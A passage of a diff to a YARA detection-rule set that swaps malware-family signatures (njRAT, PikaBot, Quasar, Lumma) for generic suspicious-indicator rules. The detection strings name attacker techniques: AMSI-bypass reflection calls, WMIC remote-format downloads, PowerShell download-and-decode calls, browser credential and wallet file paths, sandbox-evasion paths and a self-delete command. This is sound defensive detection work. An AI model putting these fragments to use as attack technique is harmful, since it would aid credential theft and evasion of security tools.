+		$s4 = "fsutil file setZeroData offset=0" ascii wide nocase
+		$ne1 = "fsutil usn readdata C:\\Temp\\sample.txt" wide
+		$ne2 = "fsutil transaction query {0f2d8905-6153-449a-8e03-7d3a38187ba1}" wide
+		$ne3 = "fsutil resource start d:\\foobar d:\\foobar\\LogDir\\LogBLF::TxfLog d:\\foobar\\LogDir\\LogBLF::TmLog" wide
+		$ne4 = "fsutil objectid query C:\\Temp\\sample.txt" wide
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and ( not any of ($ne*) and ((1 of ($cmd*) and 1 of ($s*)) or 1 of ($s*)))
 }
-import "dotnet"
+import "time"
+import "pe"
 
-rule EMBEERESEARCH_Win_Njrat_Strings_Oct_2023
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Geninfostealer : FILE
 {
 	meta:
-		description = ""
-		author = "Matthew @ Embee_Research"
-		id = "c89711cb-aae9-5409-80c2-145a8d5fca56"
-		date = "2023-10-03"
-		modified = "2023-10-03"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_njrat_strings_oct_2023.yar#L3-L25"
-		license_url = "N/A"
-		hash = "59d6e2958780d15131c102a93fefce6e388e81da7dc78d9c230aeb6cab7e3474"
-		logic_hash = "ed36a991aa2699486f1ef34f4f4d559a3dd351180602f017ad7d868e146c703b"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects executables containing common artifacts observed in infostealers"
+		author = "ditekSHen"
+		id = "531d8f7f-dee5-5d05-9293-f1ab5d5ac780"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L630-L657"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f9e6f6b470e010d362db55fcf563f85a3a408ef8331c04a157f2676442b63b1a"
+		score = 40
+		quality = 31
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = "netsh firewall delete allowedprogram" wide
-		$s2 = "cmd.exe /c ping 0 -n 2 & del" wide
-		$s3 = "netsh firewall add allowedprogram" wide
-		$s4 = "Execute ERROR" wide
-		$s5 = "Update ERROR" wide
-		$s6 = "Download ERROR" wide
+		$f1 = "FileZilla\\recentservers.xml" ascii wide
+		$f2 = "FileZilla\\sitemanager.xml" ascii wide
+		$f3 = "SOFTWARE\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions" ascii wide
+		$b1 = "Chrome\\User Data\\" ascii wide
+		$b2 = "Mozilla\\Firefox\\Profiles" ascii wide
+		$b3 = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2" ascii wide
+		$b4 = "Opera Software\\Opera Stable\\Login Data" ascii wide
+		$b5 = "YandexBrowser\\User Data\\" ascii wide
+		$s1 = "key3.db" nocase ascii wide
+		$s2 = "key4.db" nocase ascii wide
+		$s3 = "cert8.db" nocase ascii wide
+		$s4 = "logins.json" nocase ascii wide
+		$s5 = "account.cfn" nocase ascii wide
+		$s6 = "wand.dat" nocase ascii wide
+		$s7 = "wallet.dat" nocase ascii wide
+		$a1 = "username_value" ascii wide
+		$a2 = "password_value" ascii wide
+		$a3 = "encryptedUsername" ascii wide
+		$a4 = "encryptedPassword" ascii wide
+		$a5 = "httpRealm" ascii wide
 
 	condition:
-		dotnet.is_dotnet and ( all of ($s*))
+		uint16(0)==0x5a4d and ((2 of ($f*) and 2 of ($b*) and 1 of ($s*) and 3 of ($a*)) or (14 of them ))
 }
-rule EMBEERESEARCH_Win_Pikabot_Loader_Bytecodes_Oct_2023
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_PWSH_Asciiencoding_Pattern : FILE
 {
 	meta:
-		description = "Detects bytecodes in recent PikaBot Loaders"
-		author = "Matthew @ Embee_Research"
-		id = "c15b9390-1d20-5325-81c3-c6cf59ffb21f"
-		date = "2023-10-03"
-		modified = "2023-10-08"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_pikabot_loader_bytecodes_oct_2023.yar#L3-L24"
-		license_url = "N/A"
-		hash = "778b6797bb9c9d2f868d3faaaf6b36ce3f06178c133bb592c5345c95ffb034a9"
-		hash = "e26d44d740b4edbd37fa6196dcc9171e49e711d8ce64f67aae36c4299e352108"
-		hash = "2d212cacc4767ef4383bdf462a9bb8aaf87f0b3c55b4c2f4a47c97c710ec1cd8"
-		logic_hash = "a078df39fda5ab6f432c4bf42fb61bdf106386d9684188189e3cea81803b3952"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects PowerShell scripts containing ASCII encoded files"
+		author = "ditekSHen"
+		id = "df96d801-1a14-58af-b245-3a4a6ccf22c6"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L710-L724"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "037ce50a6c6d2bf25163e658c5a8c18950715a52fcdf47162fcd288306acbf9c"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = { 8b 59 64 a1 58 00 ?? ?? 8b 8e d0 00 00 00 2b c1 2d d9 f1 3e 41 0f af da 09 46 20 a1 34 dd ?? ?? 8b d3 2b 88 a0 00 00 00 2b 0d bc ff ?? ?? 81}
-		$s2 = { 88 14 08 8b cb 8b 15 a0 6a ?? ?? 42 c1 e9 08 89 15 a0 6a ?? ?? 8b 46 20 2b 05 ec 6a ?? ?? 05 ae 49 08 00}
-		$s3 = { 03 d8 43 a1 d4 8e ?? ?? 33 18 89 1d 18 8f ?? ?? a1 d4 8e ?? ?? 8b 15 18 8f ?? ?? 89 10 8b 45 f8 83 c0 04 89 45 f8 33 c0 a3 14 8f ?? ?? a1 d4 8e ?? ?? 83 c0 04 03 05 14 8f ?? ?? a3 d4 8e ?? ?? 8b 45 f8 3b 05 e0 8e ?? ?? }
+		$enc1 = "[char[]]([char]97..[char]122)" ascii
+		$enc2 = "[char[]]([char]65..[char]90)" ascii
+		$s1 = ".DownloadData($" ascii
+		$s2 = "[Net.SecurityProtocolType]::TLS12" ascii
+		$s3 = "::WriteAllBytes($" ascii
+		$s4 = "::FromBase64String($" ascii
+		$s5 = "Get-Random" ascii
 
 	condition:
-		$s1 or $s2 or $s3
+		1 of ($enc*) and 4 of ($s*) and filesize <2500KB
 }
-rule EMBEERESEARCH_Win_Darkgate_Xllloader_Oct_2023
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_JS_Hex_B64Encoded_EXE : FILE
 {
 	meta:
-		description = "Detects XLL Files Related to DarkGate"
-		author = "Matthew @ Embee_Research"
-		id = "4b5d9a2d-90ee-5452-83be-1677e1888045"
-		date = "2023-10-03"
-		modified = "2023-10-04"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_darkgate_xll_loader_oct_2023.yar#L2-L23"
-		license_url = "N/A"
-		hash = "091b7c16791cf976e684fe22ee18a4099a4e26ec75fa145b85dd14603b466b00"
-		hash = "305de78353b0d599cd40a73c7e639df7f5946d1fc36691c8f7798a99ee6835e7"
-		hash = "98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f"
-		hash = "27ec297e1fc34e29963303782ff881e74f8bd4126f4c5be0c4754f745d85f79a"
-		hash = "392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23"
-		hash = "9a34b32d0a66dd4f59aeea82ef48f335913c47c6ca901ab109df702cd166892f"
-		logic_hash = "ea9a166550c53225b0a06e2cd86760f63aed8973e889a457470bdba3d87ce6af"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects JavaScript files hex and base64 encoded executables"
+		author = "ditekSHen"
+		id = "37516c6b-0a77-5a20-a36f-5f8309b37362"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L726-L740"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "60185e6ec96875085ffb7a6bf6eb8643368bbce42b89290ab987eb32c1e153bd"
+		score = 40
+		quality = 20
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = "xlAutoOpen" wide ascii
-		$s2 = { 49 ?? ?? 4c ?? ?? 48 ?? ?? 48 ?? ?? 02 e8 ?? ?? ?? ?? 48 ?? ?? 31 ?? 48 ?? ?? 01 48 ?? ?? 41 ?? ?? ?? ?? 30 ?? 48 ?? ?? 01 49 ?? ?? 75 ?? }
+		$s1 = ".SaveToFile" ascii
+		$s2 = ".Run" ascii
+		$s3 = "ActiveXObject" ascii
+		$s4 = "fromCharCode" ascii
+		$s5 = "\\x66\\x72\\x6F\\x6D\\x43\\x68\\x61\\x72\\x43\\x6F\\x64\\x65" ascii
+		$binary = "\\x54\\x56\\x71\\x51\\x41\\x41" ascii
+		$pattern = /[\s\{\(\[=]_0x[0-9a-z]{3,6}/ ascii
 
 	condition:
-		( all of ($s*))
+		$binary and $pattern and 2 of ($s*) and filesize <2500KB
 }
-rule EMBEERESEARCH_Win_Medusa_Bytecodes
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_WMIC_Downloader : FILE
 {
 	meta:
-		description = "Medusa Bytecodes"
-		author = "Matthew @ Embee_Research"
-		id = "48b659f8-cd26-540a-89b6-6349f8d21e8f"
-		date = "2023-08-27"
-		modified = "2024-03-03"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_medusa_dotnet_bytecodes.yar#L1-L17"
-		license_url = "N/A"
-		hash = "a1211549b4e1a7befd953d03b4d929b3dc9f25ec6c1bc9c05ae92a0ec08fb77c"
-		logic_hash = "aa01afd6981af99625a9fca93e512cc00931aca18e55c5cb6dee11efb9ea2968"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects files utilizing WMIC for whitelisting bypass and downloading second stage payloads"
+		author = "ditekSHen"
+		id = "bdd6deeb-9d43-55ef-9264-652044ba6938"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L765-L776"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "0c665f77659b57770f726297b64780764235ba0e72730c985eea62c116fe97e7"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = {1F ?? 8D ?? ?? ?? 01 25 16 72 ?? ?? ?? 70 A2 25 17 72 ?? ?? ?? 70 28 ?? ?? ?? 0A A2 25 18 20 ?? ?? ?? 00 13 04 12 04 28 ?? ?? ?? 0A A2 25 19 20 ?? ?? ?? 00 13 ?? 12 }
-		$s2 = "\\Medusa\\obj\\Release\\Medusa.pdb" ascii
+		$s1 = "WMIC.exe os get /format:\"http" wide
+		$s2 = "WMIC.exe computersystem get /format:\"http" wide
+		$s3 = "WMIC.exe dcomapp get /format:\"http" wide
+		$s4 = "WMIC.exe desktop get /format:\"http" wide
 
 	condition:
-		$s1 or $s2
+		( uint16(0)==0x004c or uint16(0)==0x5a4d) and 1 of them
 }
-import "math"
+import "time"
 import "pe"
 
-rule EMBEERESEARCH_Win_Pikabot_Resource_Entropy_Oct_2023
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_AMSI_Bypass : FILE
 {
 	meta:
-		description = "Pikabot Loaders embedding encrypted inside of numerous png images"
-		author = "Matthew @ Embee_Research"
-		id = "253d35ae-a325-51c7-8da5-32bb46c51acd"
-		date = "2023-10-03"
-		modified = "2023-10-08"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_pikabot_resource_entropy_oct_2023.yar#L5-L40"
-		license_url = "N/A"
-		hash = "936247d9a0ce76bed17f03430186abb9ecafa88ef3a968cdd46c5b0a24a5cc3f"
-		hash = "2c7b7c3ec8a6a835e07c8feed401460e185388f59ea5fc8aa8038d2b75815666"
-		hash = "00239c55d7135aa06e21ace557a3e8bf3818c2e07051c84753209e7348b6a426"
-		hash = "5f218eeb83c936d88b65ec3f3052d8c53f58775dacc04bedc91bd388fb7bb885"
-		hash = "6bea3ecd1f43bdcc261719fb732fcf27e82ed6f4b086616925291a733f358a26"
-		hash = "966042f3e532b6abce7d96bbdb91dc4561b32a4b0b9eec7b08b4f1024c2da916"
-		hash = "951c906a1fa179050d30c06849d42e49a295dd1baad91efb244b2e5486b5801d"
-		hash = "a06bd2623c389f2547d0bf750ca720ab7a74c90982267aad49ba31d5de345288"
-		hash = "aeb2bf8898636b572b0703d9ddb90b9a4c5c6db9eee631ee726ad753f197ac12"
-		logic_hash = "7beec034fc927990734691bd6859870921027860c0591c7a0d5a3815f919112d"
-		score = 75
-		quality = 50
-		tags = ""
+		description = "Detects AMSI bypass pattern"
+		author = "ditekSHen"
+		id = "cdb457b3-1f41-5f58-a482-a00d269c1293"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L778-L791"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "b398c20a0e7b2dff5fab87575c555b657749d7c3b3e8f1a0f99db7e8f669e3ce"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = "ARROW-DOWN" wide
-		$s2 = "ARROW-LEFT" wide
-		$s3 = "ARROW-RIGHT" wide
+		$v1_1 = "[Ref].Assembly.GetType(" ascii nocase
+		$v1_2 = "System.Management.Automation.AmsiUtils" ascii
+		$v1_3 = "GetField(" ascii nocase
+		$v1_4 = "amsiInitFailed" ascii
+		$v1_5 = "NonPublic,Static" ascii
+		$v1_6 = "SetValue(" ascii nocase
 
 	condition:
-		pe.DLL and ( all of ($s*)) and pe.number_of_resources>25 and pe.sections[3].raw_data_size>400KB and math.entropy(pe.sections[3].raw_data_offset,pe.sections[3].raw_data_size)>7.5
+		5 of them and filesize <2000KB
 }
-rule EMBEERESEARCH_Win_Marsstealer_Encryption_Bytecodes
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_PE_Resourcetuner : FILE
 {
 	meta:
-		description = "Encryption observed in MarsStealer"
-		author = "Matthew @ Embee_Research"
-		id = "7a66ea9c-966e-5780-8b36-a268904b9c1b"
-		date = "2023-12-24"
-		modified = "2023-12-24"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_marsStealer_encryption_bytecodes_dec_2023.yar#L1-L16"
-		license_url = "N/A"
-		hash = "7a391340b6677f74bcf896b5cc16a470543e2a384049df47949038df5e770df1"
-		logic_hash = "49ffde28c8823c00959ddbaa516fc48c7908b533c8f91608b0e3a645045c9048"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects executables with modified PE resources using the unpaid version of Resource Tuner"
+		author = "ditekSHen"
+		id = "2ada52b4-de9e-5b66-a05e-da894ca79e48"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L793-L801"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "25959ba2f974ecdcda624b4b34cd8dac0336af0dd7c88d2e3b17ec94d58b87b8"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = {31 2d 3d 31 73 30 02 39 c0 74 0a 5b 70 61 73 64 6c 30 71 77 69 8d 5b 01 8d 52 01 39 eb 75 03 83 eb 20 39 ca}
+		$s1 = "Modified by an unpaid evaluation copy of Resource Tuner 2 (www.heaventools.com)" fullword wide
 
 	condition:
-		$s1
+		uint16(0)==0x5a4d and all of them
 }
-import "dotnet"
+import "time"
+import "pe"
 
-rule EMBEERESEARCH_Win_Xworm_Bytestring
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_References_Sectools_B64Encoded : FILE
 {
 	meta:
-		description = "Detects bytestring present in unobfuscated xworm"
-		author = "Matthew @ Embee_Research"
-		id = "b7bad89d-ff15-50ae-8c97-64b181dad07f"
-		date = "2023-08-27"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_xworm_bytestring_sep_2023.yar#L3-L24"
-		license_url = "N/A"
-		hash = "8948b34d471db1e334e6caa00492bd11a60d0ec378933386b0cb7bc1b971c102"
-		hash = "52634ade55558807042eae35e2777894e405e811102e980a2e2b25d151fde121"
-		logic_hash = "dd9955c3616ee65cf94625f5fc92298464a9a3b6deaf32ae70d7e8206c0ceb5b"
-		score = 50
-		quality = 75
-		tags = ""
+		description = "Detects executables referencing many base64-encoded IR and analysis tools names"
+		author = "ditekSHen"
+		id = "2d3c994a-5b7c-52c5-a4a1-e67a773b692b"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L897-L941"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "20f889c9c50e8c5e55fd7ebe508015b1e72e6f7ef1b410e5e707d554fb8e8588"
+		score = 40
+		quality = 43
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$p1 = { 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? 72 [4] 0C 38 [4] 11 ?? 72 [4] 16 28 [4] 16 33 ?? }
+		$s1 = "VGFza21ncg==" ascii wide
+		$s2 = "dGFza21ncg==" ascii wide
+		$s3 = "UHJvY2Vzc0hhY2tlcg" ascii wide
+		$s4 = "cHJvY2V4cA" ascii wide
+		$s5 = "cHJvY2V4cDY0" ascii wide
+		$s6 = "aHR0cCBhbmFseXplci" ascii wide
+		$s7 = "ZmlkZGxlcg" ascii wide
+		$s8 = "ZWZmZXRlY2ggaHR0cCBzbmlmZmVy" ascii wide
+		$s9 = "ZmlyZXNoZWVw" ascii wide
+		$s10 = "SUVXYXRjaCBQcm9mZXNzaW9uYWw" ascii wide
+		$s11 = "ZHVtcGNhcA" ascii wide
+		$s12 = "d2lyZXNoYXJr" ascii wide
+		$s13 = "c3lzaW50ZXJuYWxzIHRjcHZpZXc" ascii wide
+		$s14 = "TmV0d29ya01pbmVy" ascii wide
+		$s15 = "TmV0d29ya1RyYWZmaWNWaWV3" ascii wide
+		$s16 = "SFRUUE5ldHdvcmtTbmlmZmVy" ascii wide
+		$s17 = "dGNwZHVtcA" ascii wide
+		$s18 = "aW50ZXJjZXB0ZXI" ascii wide
+		$s19 = "SW50ZXJjZXB0ZXItTkc" ascii wide
+		$s20 = "b2xseWRiZw" ascii wide
+		$s21 = "eDY0ZGJn" ascii wide
+		$s22 = "eDMyZGJn" ascii wide
+		$s23 = "ZG5zcHk" ascii wide
+		$s24 = "ZGU0ZG90" ascii wide
+		$s25 = "aWxzcHk" ascii wide
+		$s26 = "ZG90cGVla" ascii wide
+		$s27 = "aWRhNjQ" ascii wide
+		$s28 = "UkRHIFBhY2tlciBEZXRlY3Rvcg" ascii wide
+		$s29 = "Q0ZGIEV4cGxvcmVy" ascii wide
+		$s30 = "UEVpRA" ascii wide
+		$s31 = "cHJvdGVjdGlvbl9pZA" ascii wide
+		$s32 = "TG9yZFBF" ascii wide
+		$s33 = "cGUtc2lldmU=" ascii wide
+		$s34 = "TWVnYUR1bXBlcg" ascii wide
+		$s35 = "VW5Db25mdXNlckV4" ascii wide
+		$s36 = "VW5pdmVyc2FsX0ZpeGVy" ascii wide
+		$s37 = "Tm9GdXNlckV4" ascii wide
 
 	condition:
-		dotnet.is_dotnet and $p1
+		uint16(0)==0x5a4d and 4 of them
 }
-import "dotnet"
+import "time"
+import "pe"
 
-rule EMBEERESEARCH_Win_Quasar_Rat_Client : FILE
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_References_Sandbox_Artifacts : FILE
 {
 	meta:
-		description = "Detects strings present in Quasar Rat Samples."
-		author = "Matthew @ Embee_Research"
-		id = "7fc0bd6d-e187-51b7-a8b8-68b17271cef8"
-		date = "2023-08-27"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_quasar_rat_client_aug_2023.yar#L3-L37"
-		license_url = "N/A"
-		hash = "914d88f295ac2213f37d3f71e6d4383979283d1728079a208f286effb44d840c"
-		hash = "45a724179ae1d08044c4bafb69c7f9cdb4ed35891dc9cf24aa664d75464ceb6d"
-		hash = "7e13bcd73232c3f33410aa95f61e1196a2f9ae35e05c1f9c8f251e07077a9dfb"
-		logic_hash = "efba911780ffb144f277e88ff8ca8f53a90c32a677ccb19ec26e71f974a1b91f"
-		score = 75
-		quality = 75
+		description = "Detects executables referencing sandbox artifacts"
+		author = "ditekSHen"
+		id = "2c0e4d38-8d68-5cd2-9f9e-e56f372b67cf"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L943-L976"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "3d4a356191ec914eba86e78d3823dd1dc2d18f17074abb9986f3337169821bc6"
+		score = 40
+		quality = 43
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = "Quasar Client" ascii wide
-		$s2 = "Quasar.Client.Properties.Resources" ascii wide
-		$s3 = "Google\\Chrome\\User Data\\Default\\" wide
-		$s4 = "\\Mozilla\\Firefox\\Profiles" wide
-		$s5 = "Yandex\\YandexBrowser\\User Data\\Default\\" wide
+		$s1 = "C:\\agent\\agent.pyw" ascii wide
+		$s2 = "C:\\sandbox\\starter.exe" ascii wide
+		$s3 = "c:\\ipf\\BDCore_U.dll" ascii wide
+		$s4 = "C:\\cwsandbox_manager" ascii wide
+		$s5 = "C:\\cwsandbox" ascii wide
+		$s6 = "C:\\Stuff\\odbg110" ascii wide
+		$s7 = "C:\\gfisandbox" ascii wide
+		$s8 = "C:\\Virus Analysis" ascii wide
+		$s9 = "C:\\iDEFENSE\\SysAnalyzer" ascii wide
+		$s10 = "c:\\gnu\\bin" ascii wide
+		$s11 = "C:\\SandCastle\\tools" ascii wide
+		$s12 = "C:\\cuckoo\\dll" ascii wide
+		$s13 = "C:\\MDS\\WinDump.exe" ascii wide
+		$s14 = "C:\\tsl\\Raptorclient.exe" ascii wide
+		$s15 = "C:\\guest_tools\\start.bat" ascii wide
+		$s16 = "C:\\tools\\aswsnx\\snxcmd.exe" ascii wide
+		$s17 = "C:\\Winap\\ckmon.pyw" ascii wide
+		$s18 = "c:\\tools\\decodezeus" ascii wide
+		$s19 = "c:\\tools\\aswsnx" ascii wide
+		$s20 = "C:\\sandbox\\starter.exe" ascii wide
+		$s21 = "C:\\Kit\\procexp.exe" ascii wide
+		$s22 = "c:\\tracer\\mdare32_0.sys" ascii wide
+		$s23 = "C:\\tool\\malmon" ascii wide
+		$s24 = "C:\\Samples\\102114\\Completed" ascii wide
+		$s25 = "c:\\vmremote\\VmRemoteGuest.exe" ascii wide
+		$s26 = "d:\\sandbox_svc.exe" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and dotnet.is_dotnet and filesize <7000KB and ( for any i in (0..dotnet.number_of_resources-1) : (dotnet.resources[i].name=="Quasar.Client*") or (3 of ($s*)))
+		uint16(0)==0x5a4d and 3 of them
 }
-rule EMBEERESEARCH_Win_Solarmarker_Stage2_Bytecodes_Dec_2023
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Embedded_Gzip_B64Encoded_File : FILE
 {
 	meta:
-		description = "Patterns observed in Solarmarker stage2 dll"
-		author = "Matthew @ Embee_Research"
-		id = "9aba6cdf-1491-579d-b4a7-fe229272015d"
-		date = "2023-12-28"
-		modified = "2023-12-28"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_solarmarker_stage2_bytecodes_dec_2023.yar#L1-L20"
-		license_url = "N/A"
-		hash = "4a3b60496a793ee96a51fecf8690ef8312429a6b54d32f2a4424395c47b47fc8"
-		hash = "e0b2457491a8c2d50710aa343ad1957a76f83ceaf680165ffa0e287fe18abbd6"
-		logic_hash = "8e50e5942f0029ffda1d9750f8cc8e004a2512e50b6a14c1619ae0b83477a944"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects executables containing bas64 encoded gzip files"
+		author = "ditekSHen"
+		id = "e50f8560-d53b-5388-b94d-d104b7c064f2"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L978-L987"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "431e5a45bf8ed5874b330419675b3d43eb6a563c42873730e823cdd7d6efba97"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = {6F ?? ?? 00 0A 1F 20 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 09 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0A 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0D 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0A }
+		$s1 = "H4sIAAAAAAA" ascii wide
+		$s2 = "AAAAAAAIs4H" ascii wide
 
 	condition:
-		$s1
+		uint16(0)==0x5a4d and 1 of them
 }
-rule EMBEERESEARCH_Win_Lumma_Update_Simple_Strings_Sep_2023 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_PWSH_Passwordcredential_Retrievepassword
 {
 	meta:
-		description = ""
-		author = "Matthew @ Embee_Research"
-		id = "90209fc6-fd50-5b55-a400-112b2f207885"
-		date = "2023-09-13"
-		modified = "2023-09-21"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_lumma_updated_sep_2023.yar#L1-L25"
-		license_url = "N/A"
-		hash = "898a2bdbbb33ccd63b038c67d217554a668a52e9642874bd0f57e08153e6e5be"
-		logic_hash = "61571057a5a9c114b6ed5b94b922f2b389406a05e705b3e9e6ddbee221f74c92"
-		score = 75
-		quality = 75
-		tags = "FILE"
+		description = "Detects PowerShell content designed to retrieve passwords from host"
+		author = "ditekSHen"
+		id = "b34599ab-b874-5ea5-990d-bc7593bb08b5"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1048-L1058"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f09320d9c4734579a535c7fee993fa076974b13ffd25e0d9ab02bc09663595f8"
+		score = 40
+		quality = 39
+		tags = ""
+		importance = 20
 
 	strings:
-		$s1 = "Do you want to run a malware ?" wide
-		$s2 = "c2sock" wide
-		$s3 = "TeslaBrowser/5" wide
